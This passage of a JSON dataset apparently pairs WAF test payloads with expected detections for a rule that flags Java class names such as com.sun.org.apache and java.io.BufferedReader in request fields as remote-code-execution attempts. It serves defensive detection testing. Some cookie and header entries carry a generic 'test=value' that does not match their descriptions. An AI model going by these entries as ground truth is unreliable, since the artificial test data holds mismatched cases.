"POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"com.sun.org.apache\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">com.sun.org.apache</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">com.sun.org.apache</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=com.sun.org.apache" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"com.sun.org.apache\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"com.sun.org.apache\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword com.sun.org.apache" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.BufferedInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.BufferedInputStream=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.BufferedInputStream\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.BufferedInputStream</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.BufferedInputStream</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.BufferedInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.BufferedInputStream\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.BufferedInputStream\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.BufferedInputStream" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.BufferedReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.io.BufferedReader=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.io.BufferedReader\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.io.BufferedReader</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.io.BufferedReader</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.BufferedReader" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.io.BufferedReader\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.io.BufferedReader\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.io.BufferedReader" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.io.ByteArrayInputStream" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes 